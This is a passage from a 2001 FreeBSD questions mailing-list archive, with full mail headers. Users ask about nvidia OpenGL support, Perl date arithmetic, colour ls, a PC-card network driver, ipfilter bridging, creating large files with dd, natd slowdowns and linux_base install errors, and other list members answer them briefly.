Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thanks for the response. I've been doing a little more research and apparently there is a driver (NVdriver), available for linux and XF86 4.x, that provides excellent 3d performance. The downside is that it appears to require a module in the kernel, which, I presume, makes it very linux-specific. But I'm wondering-- will FreeBSD's Linux API handle this sort of thing, even for kernel modules? The other issue-- how hard is it to have two XF86 installs (3.3.6 and 4.1) side by side? Thanks Mark On Wed, 14 Nov 2001, Eric Anholt wrote: >Which X are you using? XFree86-4 from ports (what I would call "the most >recent") provides no hardware opengl acceleration on nvidia cards. The 3.3.6 >XFree (the default X that is installed with FreeBSD) can get some TNT support >through utah-glx (ports/graphics/utah-glx), but that will still be very slow >compared to even a voodoo3 because nvidia never released enough info to get >DMA working. > >On Wednesday 14 November 2001 00:56, Mark Miller wrote: >> Hi, >> >> I'm trying to get my Riva TNT card to accelerate OpenGL a bit, but I can't >> tell if I'm getting anything beyond software acceleration. xpdyinfo >> reports GLX and SGI-GLX available, but my frame rates stick around >> 4/second with the app I'm testing it with (a fairly complicated roller >> coaster simulation). I've tried different color depths (8,16,24) as >> mentioned by the one article I could find on the subject, but the >> performance doesn't change in any noticeable way. >> >> Is there anything I can do to make this work? I'm running 4.2, with the >> most recent XF86 server, Mesa3, etc. >> >> >> Thanks, >> Mark Miller >> >> >> To Unsubscribe: send mail to majordomo@FreeBSD.org >> with "unsubscribe freebsd-questions" in the body of the message > >-- >Eric Anholt >eanholt@gladstone.uoregon.edu > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 1:28:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by hub.freebsd.org (Postfix) with ESMTP id 8F03837B416 for ; Mon, 19 Nov 2001 01:28:36 -0800 (PST) Received: from claycross.demon.co.uk ([194.222.107.197] helo=mail.claycrossbs.co.uk) by anchor-post-32.mail.demon.net with esmtp (Exim 2.12 #1) id 165kjC-000JaH-0W; Mon, 19 Nov 2001 09:28:35 +0000 Received: from netops (netops.claycrossbs.co.uk [192.3.6.101]) by mail.claycrossbs.co.uk (Postfix) with SMTP id 99FB132A33; Mon, 19 Nov 2001 09:28:35 +0000 (GMT) From: "Simon Griffiths" To: "Chris Aitken" , Subject: RE: Epoch Time on Freebsd with perl Date: Mon, 19 Nov 2001 09:28:49 -0000 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <5.1.0.14.2.20011119163225.01f5b130@mail.ideal.net.au> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Chris Aitken > Sent: 19 November 2001 05:37 > Subject: Epoch Time on Freebsd with perl > > > Hi all, [snip] > > $date1 = "2001-10-01 01:00:00"; > $date2 = "2001-10-01 03:00:00"; > > What I want is to somehow calculate that there is 2 hours between these 2 > dates (or 120 minutes, or 7200 seconds etc etc) > Any help on this would be appreciated. Depending on your database you could do this in SQL, I would recommend RTFMing its docs. > Cheers > > > Chris Si. -- Simon Griffiths Systems Administrator - Clay Cross Building Society Tel:+44(0)1246 862120 - Fax: +44(0)1246 250397 -- "If you give a million monkeys root access to your systems, they sure as hell aren't going to be writing any Shakespeare..." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 1:30:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from drizzle.com (cascadia.drizzle.com [216.162.192.3]) by hub.freebsd.org (Postfix) with ESMTP id 3395037B417 for ; Mon, 19 Nov 2001 01:30:05 -0800 (PST) Received: from metallica (mist181.drizzle.com [216.162.215.181]) by drizzle.com (8.12.1/8.12.1) with ESMTP id fAJ9TsUl007005 for ; Mon, 19 Nov 2001 01:30:06 -0800 From: "Skull Crusher" To: Subject: how to get a color prompt? Date: Mon, 19 Nov 2001 01:29:56 -0800 Message-ID: <003501c170dc$c3939670$030aa8c0@metallica> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0036_01C17099.B5705670" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0036_01C17099.B5705670 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit There was a program called COLORLS that I would use in the pass but now that im using FreeBSD 4.4 when I try to run MAKE I get the message "colour support is already in the base system" if it is already there how what is the vcommand to use it?? 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There was a program called COLORLS that I would use = in the pass but now that im using  FreeBSD 4.4 when I try to run =  MAKE I get the message = “colour support is already in the base = system”  if it is already there how what = is the vcommand to use it??

 

Thanks,

 

Joe……

------=_NextPart_000_0036_01C17099.B5705670-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 1:37:54 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gull.prod.itd.earthlink.net (gull.mail.pas.earthlink.net [207.217.120.84]) by hub.freebsd.org (Postfix) with ESMTP id 6A2C637B405 for ; Mon, 19 Nov 2001 01:37:51 -0800 (PST) Received: from dialup-209.245.132.171.dial1.sanjose1.level3.net ([209.245.132.171] helo=blossom.cjclark.org) by gull.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 165krt-00064W-00; Mon, 19 Nov 2001 01:37:50 -0800 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.3) id fAJ9aPr82808; Mon, 19 Nov 2001 01:36:25 -0800 (PST) (envelope-from cjc) Date: Mon, 19 Nov 2001 01:36:14 -0800 From: "Crist J. Clark" To: Chris Aitken Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Epoch Time on Freebsd with perl Message-ID: <20011119013614.K69555@blossom.cjclark.org> Reply-To: cjclark@alum.mit.edu References: <5.1.0.14.2.20011119163225.01f5b130@mail.ideal.net.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <5.1.0.14.2.20011119163225.01f5b130@mail.ideal.net.au>; from chris@ideal.net.au on Mon, Nov 19, 2001 at 04:37:27PM +1100 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 04:37:27PM +1100, Chris Aitken wrote: > Hi all, > > > Something im trying to play with is this. Im pulling 2 date/time variables > from a database, and what im trying to do is work out a comparison between > the both dates..... for example > > $date1 = "2001-10-01 01:00:00"; > $date2 = "2001-10-01 03:00:00"; > > What I want is to somehow calculate that there is 2 hours between these 2 > dates (or 120 minutes, or 7200 seconds etc etc) > > I know I can do a time() and it will return the number of seconds from > epoch, but it only works on live time, and I cant feed it a date and let it > calculate it on that. > > > Any help on this would be appreciated. $ man Time::Local -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 1:40:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from avocet.prod.itd.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 1D53637B417 for ; Mon, 19 Nov 2001 01:40:24 -0800 (PST) Received: from dialup-209.245.132.171.dial1.sanjose1.level3.net ([209.245.132.171] helo=blossom.cjclark.org) by avocet.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 165kuZ-0002BN-00; Mon, 19 Nov 2001 01:40:23 -0800 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.3) id fAJ9dMF82818; Mon, 19 Nov 2001 01:39:22 -0800 (PST) (envelope-from cjc) Date: Mon, 19 Nov 2001 01:39:22 -0800 From: "Crist J. Clark" To: davide+freebsd@cs.cmu.edu Cc: FreeBSD-questions@FreeBSD.ORG Subject: Re: ThinkPad install can't find ep(4) driver Message-ID: <20011119013922.L69555@blossom.cjclark.org> Reply-To: cjclark@alum.mit.edu References: <20880.1006150812@piper.nectar.cs.cmu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20880.1006150812@piper.nectar.cs.cmu.edu>; from davide+freebsd@cs.cmu.edu on Mon, Nov 19, 2001 at 01:20:12AM -0500 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 01:20:12AM -0500, davide+freebsd@cs.cmu.edu wrote: > I am trying to install FreeBSD 4.4 on a ThinkPad 560X, > using FTP via a 3Com Etherlink III (3C589). The device > configures and works both on Windows (yuck) and a previous > installation of FreeBSD 4.0 that I want to wipe out. > My problem is that during the device configuration step > I can't find the ep driver. > > 4.0 finds the card as > ep0: <3Com Etherlink III 3C589> at port 0x240-24f irq 10 slot 0 on pccard0 > > Windows maps it as > 0110-011F, IRQ 11 > > 3Com's 3LINK-ID program says > 3C589C > IRQ 10 > I/O Base 300 > "optimized for OS/2 client" > "max modem speed 9600" (huh?) > > ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/4.4-RELEASE/HARDWARE.TXT > says that the 3C589 is supported by the ep driver. > > But when I boot up the installation floppies, and enter > UserConfig, the only "Active" network devices are cs0, > ed0, fe0, ie0, lnc0, and sn0. If I tab over to the > Inactive side, there are no network devices listed. If > I try again in CLI mode instead of visual mode, typing > "enable ep0" yields "No such device: ep0", which agrees > with the output of "ls". > > http://www.freebsd.org/relnotes/4-STABLE/hardware/i386/x1755.html > says "A compressed version of the GENERIC kernel is also > used on the installation floppy diskette and DOS boot > image". Is it possible that this "compression" includes > removing the ep driver? Nope. It's on there. Are you getting asked about whether you want to use PCCARD devices for installation media right after the kernel boots? How are you configuring things there? -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 1:43:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pintail.mail.pas.earthlink.net (pintail.mail.pas.earthlink.net [207.217.120.122]) by hub.freebsd.org (Postfix) with ESMTP id A725737B417 for ; Mon, 19 Nov 2001 01:43:54 -0800 (PST) Received: from dialup-209.245.132.171.dial1.sanjose1.level3.net ([209.245.132.171] helo=blossom.cjclark.org) by pintail.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 165kxv-0003EP-00; Mon, 19 Nov 2001 01:43:51 -0800 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.3) id fAJ9gts82856; Mon, 19 Nov 2001 01:42:55 -0800 (PST) (envelope-from cjc) Date: Mon, 19 Nov 2001 01:42:55 -0800 From: "Crist J. Clark" To: RJ45 Cc: freebsd-questions@FreeBSD.ORG Subject: Re: ipfilter + bridge Message-ID: <20011119014255.M69555@blossom.cjclark.org> Reply-To: cjclark@alum.mit.edu References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from rj45@slacknet.com on Mon, Nov 19, 2001 at 01:27:24AM -0700 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 01:27:24AM -0700, RJ45 wrote: > > > Hello, > I Wanted to ask if bridge between 2 NIC on FreeBSD allow ipfilter to being > used over it. If I have 2 NICs one on the external bad internet and the > other on My lan and I bridge between the 2 interface and I Want to use > ipfilter to filter traffic between the 2 NICs, is it realiable does it > work?? For some reason I need to use a bridge and I Cannot use different > IP Addresses for the 2 NICs, I can't have a hidden internal LAN. > I was used to do it with OpenBSD and it worked but I'd like to do it with > FreeBSD. Last I knew, you can't use IPFilter with bridging in FreeBSD. -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 1:50:48 2001 Delivered-To: freebsd-questions@freebsd.org Received: from backup.dagupan.com (www.psysc.org.ph [206.101.69.5]) by hub.freebsd.org (Postfix) with ESMTP id 662A637B416 for ; Mon, 19 Nov 2001 01:50:44 -0800 (PST) Received: by apmail.dagupan.com with Internet Mail Service (5.5.2653.19) id ; Mon, 19 Nov 2001 17:50:51 +0800 Message-ID: <10F29E27A956D511B0940050DA8D86A9340B9F@apmail.dagupan.com> From: francisv@dagupan.com To: freebsd-questions@freebsd.org Subject: Creating 5GB files Date: Mon, 19 Nov 2001 17:50:44 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, What's the 'right' way to create 5GB files using 'dd'? I'll be mounting the file as a virtual disk. --- francis a. vidal [bitstop network services] streaming media + web services + keystone learning v(02)330-2871,(02)330-2872; f(02)330-2873 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 1:59: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id C0E4F37B416 for ; Mon, 19 Nov 2001 01:59:01 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1192) id CE5D481D0A; Mon, 19 Nov 2001 03:59:01 -0600 (CST) Date: Mon, 19 Nov 2001 03:59:01 -0600 From: Alfred Perlstein To: Brendan Kosowski Cc: questions@freebsd.org Subject: Re: Services very slow on Firewall/nat boxes. Message-ID: <20011119035901.O13393@elvis.mu.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from brendan@bmk.com.au on Mon, Nov 19, 2001 at 08:45:11PM +1100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Brendan Kosowski [011119 03:45] wrote: > > I am running natd on a FreeBSD box with IPFIREWALL and IPDIVERT added to > the kernel. Firewall type is open. > > I have noticed that when you run a server (eg. sendmail, named, pop3 etc.) > on the above, initial connection to the service is very slow (ie. between > 5 and 60 seconds ), however once connection has been established data > transfer becomes very fast (as per normal). > > If I disable natd and replace kernel with original, initial connection to > services is very fast. > > This box is on a network with very little traffic. > > I would greatly appreciate any help on speeding up initial connection to > services. Your DNS isn't working for some reason while you're running NATd. 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=20 =20 ------=_NextPart_84815C5ABAF209EF376268C8-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 2:20:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pump3.york.ac.uk (pump3.york.ac.uk [144.32.128.131]) by hub.freebsd.org (Postfix) with ESMTP id 70E0537B416; Mon, 19 Nov 2001 02:20:19 -0800 (PST) Received: from ury.york.ac.uk (ury.york.ac.uk [144.32.108.81]) by pump3.york.ac.uk (8.10.2/8.10.2) with ESMTP id fAJAKHM00965; Mon, 19 Nov 2001 10:20:17 GMT Received: from localhost (gavin@localhost) by ury.york.ac.uk (8.11.6/8.11.3) with ESMTP id fAJAKGu38197; Mon, 19 Nov 2001 10:20:17 GMT (envelope-from gavin.atkinson@ury.york.ac.uk) X-Authentication-Warning: ury.york.ac.uk: gavin owned process doing -bs Date: Mon, 19 Nov 2001 10:20:16 +0000 (GMT) From: Gavin Atkinson To: Anthony Atkielski Cc: Greg Lehey , FreeBSD Questions Subject: Re: Mysterious boot during the night In-Reply-To: <005901c170a2$1cd5efc0$0a00000a@atkielski.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 19 Nov 2001, Anthony Atkielski wrote: > Which version of the OS is the version that would be distributed, say, on boxed > CDs, like the version I initially bought at the store? I presume from what I've > read that -CURRENT is more volatile than STABLE; how do both of these relate to > RELEASE (if there is such a thing--my system mentions RELEASE on the > screensaver). Hmm... a discussion is in progress on stable@ about the possibility that the demon screensaver (possibly amongst others) can cause crashes and spontanious reboots. http://docs.freebsd.org/cgi/getmsg.cgi?fetch=637980+0+archive/2001/freebsd-stable/20011111.freebsd-stable Gavin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 2:29:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from garfield.bmk.com.au (bmkind.lnk.telstra.net [139.130.51.118]) by hub.freebsd.org (Postfix) with ESMTP id 6DA0F37B405 for ; Mon, 19 Nov 2001 02:29:18 -0800 (PST) Received: from localhost (brendan@localhost) by garfield.bmk.com.au (8.9.3/8.9.3) with SMTP id VAA39714 for ; Mon, 19 Nov 2001 21:29:16 +1100 (EST) (envelope-from brendan@bmk.com.au) Date: Mon, 19 Nov 2001 21:29:15 +1100 (EST) From: Brendan Kosowski To: FreeBSD Questions Subject: Services very slow on Firewall/nat boxes. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am running natd on a FreeBSD box with IPFIREWALL and IPDIVERT added to the kernel. Firewall type is open. I have noticed that when you run a server (eg. sendmail, named, pop3 etc.) on the above, initial connection to the service is very slow (ie. between 5 and 60 seconds ), however once connection has been established data transfer becomes very fast (as per normal). If I disable natd and replace kernel with original, initial connection to services is very fast. This box is on a network with very little traffic. I would greatly appreciate any help on speeding up initial connection to services. Regards, Brendan Kosowski ------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 2:32:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 1EE5337B419 for ; Mon, 19 Nov 2001 02:32:14 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAJAWAK67934; Mon, 19 Nov 2001 11:32:10 +0100 (CET) Message-ID: <00cc01c170e5$72604ce0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Gavin Atkinson" , "FreeBSD Questions" References: Subject: Re: Mysterious boot during the night Date: Mon, 19 Nov 2001 11:32:04 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Interesting, although my screensaver is the plain-text version. ----- Original Message ----- From: "Gavin Atkinson" To: "Anthony Atkielski" Cc: "Greg Lehey" ; "FreeBSD Questions" Sent: Monday, November 19, 2001 11:20 Subject: Re: Mysterious boot during the night > On Mon, 19 Nov 2001, Anthony Atkielski wrote: > > > Which version of the OS is the version that would be distributed, say, on boxed > > CDs, like the version I initially bought at the store? I presume from what I've > > read that -CURRENT is more volatile than STABLE; how do both of these relate to > > RELEASE (if there is such a thing--my system mentions RELEASE on the > > screensaver). > > Hmm... a discussion is in progress on stable@ about the possibility that > the demon screensaver (possibly amongst others) can cause crashes and > spontanious reboots. > > http://docs.freebsd.org/cgi/getmsg.cgi?fetch=637980+0+archive/2001/freebsd-stabl e/20011111.freebsd-stable > > Gavin > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 2:34:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from avocet.prod.itd.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 7362137B405 for ; Mon, 19 Nov 2001 02:34:17 -0800 (PST) Received: from dialup-209.245.132.171.dial1.sanjose1.level3.net ([209.245.132.171] helo=blossom.cjclark.org) by avocet.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 165lkO-0005ZD-00; Mon, 19 Nov 2001 02:34:05 -0800 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.3) id fAJAVg684510; Mon, 19 Nov 2001 02:31:42 -0800 (PST) (envelope-from cjc) Date: Mon, 19 Nov 2001 02:31:41 -0800 From: "Crist J. Clark" To: francisv@dagupan.com Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Creating 5GB files Message-ID: <20011119023141.O69555@blossom.cjclark.org> Reply-To: cjclark@alum.mit.edu References: <10F29E27A956D511B0940050DA8D86A9340B9F@apmail.dagupan.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <10F29E27A956D511B0940050DA8D86A9340B9F@apmail.dagupan.com>; from francisv@dagupan.com on Mon, Nov 19, 2001 at 05:50:44PM +0800 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 05:50:44PM +0800, francisv@dagupan.com wrote: > Hi, > > What's the 'right' way to create 5GB files using 'dd'? I'll be mounting the > file as a virtual disk. # dd if=/dev/zero of=/your/path/here bs=1m count=5120 Would seem to work fine? -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 2:58:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id C659F37B405 for ; Mon, 19 Nov 2001 02:58:06 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 836E766EE7; Mon, 19 Nov 2001 02:57:59 -0800 (PST) Date: Mon, 19 Nov 2001 02:57:59 -0800 From: Kris Kennaway To: Gabriel Rossetti Cc: freebsd-questions@FreeBSD.ORG Subject: Re: is there badRAM in FreeBSD? Message-ID: <20011119025759.A79828@xor.obsecurity.org> References: <200111190952550849.11D69CA6@smtp.tiscalinet.ch> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="LZvS9be/3tNcYl/X" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200111190952550849.11D69CA6@smtp.tiscalinet.ch>; from rossettigab@tiscalinet.ch on Mon, Nov 19, 2001 at 09:52:55AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --LZvS9be/3tNcYl/X Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Mon, Nov 19, 2001 at 09:52:55AM +0100, Gabriel Rossetti wrote: > Hello, > I would like to know if the badRAM linux option is also > available on FreeBSD or if there is an equivilant? No, if you have bad RAM then you need to just replace it instead of trying to live with it. Kris --LZvS9be/3tNcYl/X Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+OW2Wry0BWjoQKURArgiAKCL5Z1wSvN1OhKB3MclRnA6HjwtOgCfR+G4 yHRtTs1DlRLZE3eA4Ybnf0E= =iVje -----END PGP SIGNATURE----- --LZvS9be/3tNcYl/X-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 3: 8:31 2001 Delivered-To: freebsd-questions@freebsd.org Received: from he0.easygolucky.de (he0.easygolucky.de [62.208.187.122]) by hub.freebsd.org (Postfix) with ESMTP id D624A37B405 for ; Mon, 19 Nov 2001 03:08:26 -0800 (PST) Received: (from mhe@localhost) by he0.easygolucky.de (8.11.6/8.11.6) id fAJB9O630011 for freebsd-questions@freebsd.org; Mon, 19 Nov 2001 12:09:24 +0100 (CET) (envelope-from mhe) Date: Mon, 19 Nov 2001 12:09:24 +0100 From: Manuel Hendel To: FreeBSD Questions Subject: can't install linux_base-6.1 Message-ID: <20011119110923.GB29835@he0.easygolucky.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Can't install linux_base-6.1. I get the following error message: **** glibc-2.1.2-11.i386.rpm termcap-9.12.6-15.i386.rpm libtermcap-2.0.8-18.i386.rpm execution of libtermcap-2.0.8-18 script failed, exit status 255 *** Error code 1 Stop in /usr/ports/emulators/linux_base. *** Error code 1 Stop in /usr/ports/emulators/linux_base. *** Error code 1 Stop in /usr/ports/emulators/linux_base. **** Can anyone give me a hint? manuel -- Only those who dare to fail greatly can achieve greatly. -John F. Kennedy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 3:14:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from helios.soupnazi.org (cerberus.soupnazi.org [66.92.15.26]) by hub.freebsd.org (Postfix) with ESMTP id 552AC37B405 for ; Mon, 19 Nov 2001 03:14:40 -0800 (PST) Received: by helios.soupnazi.org (Postfix, from userid 1000) id ACCE3312B; Mon, 19 Nov 2001 03:14:34 -0800 (PST) Date: Mon, 19 Nov 2001 03:14:33 -0800 From: Jim Mock To: Skull Crusher Cc: freebsd-questions@FreeBSD.ORG Subject: Re: how to get a color prompt? Message-ID: <20011119111433.GA28570@helios.soupnazi.org> Reply-To: mij@soupnazi.org References: <003501c170dc$c3939670$030aa8c0@metallica> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <003501c170dc$c3939670$030aa8c0@metallica> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 19 Nov 2001 at 01:29:56 -0800, Skull Crusher wrote: > There was a program called COLORLS that I would use in the pass but > now that im using FreeBSD 4.4 when I try to run MAKE I get the > message "colour support is already in the base system" if it is > already there how what is the vcommand to use it?? man ls - jim -- jim mock http://soupnazi.org/ | jim@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 3:20:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hamberg.it.uu.se (hamberg.it.uu.se [130.238.9.198]) by hub.freebsd.org (Postfix) with ESMTP id 7034137B405 for ; Mon, 19 Nov 2001 03:20:11 -0800 (PST) Received: (from ertr1013@localhost) by hamberg.it.uu.se (8.8.5/8.8.5) id MAA01910; Mon, 19 Nov 2001 12:20:08 +0100 (MET) Date: Mon, 19 Nov 2001 12:20:07 +0100 From: Erik Trulsson To: Manuel Hendel Cc: FreeBSD Questions Subject: Re: can't install linux_base-6.1 Message-ID: <20011119122007.A1087@student.uu.se> References: 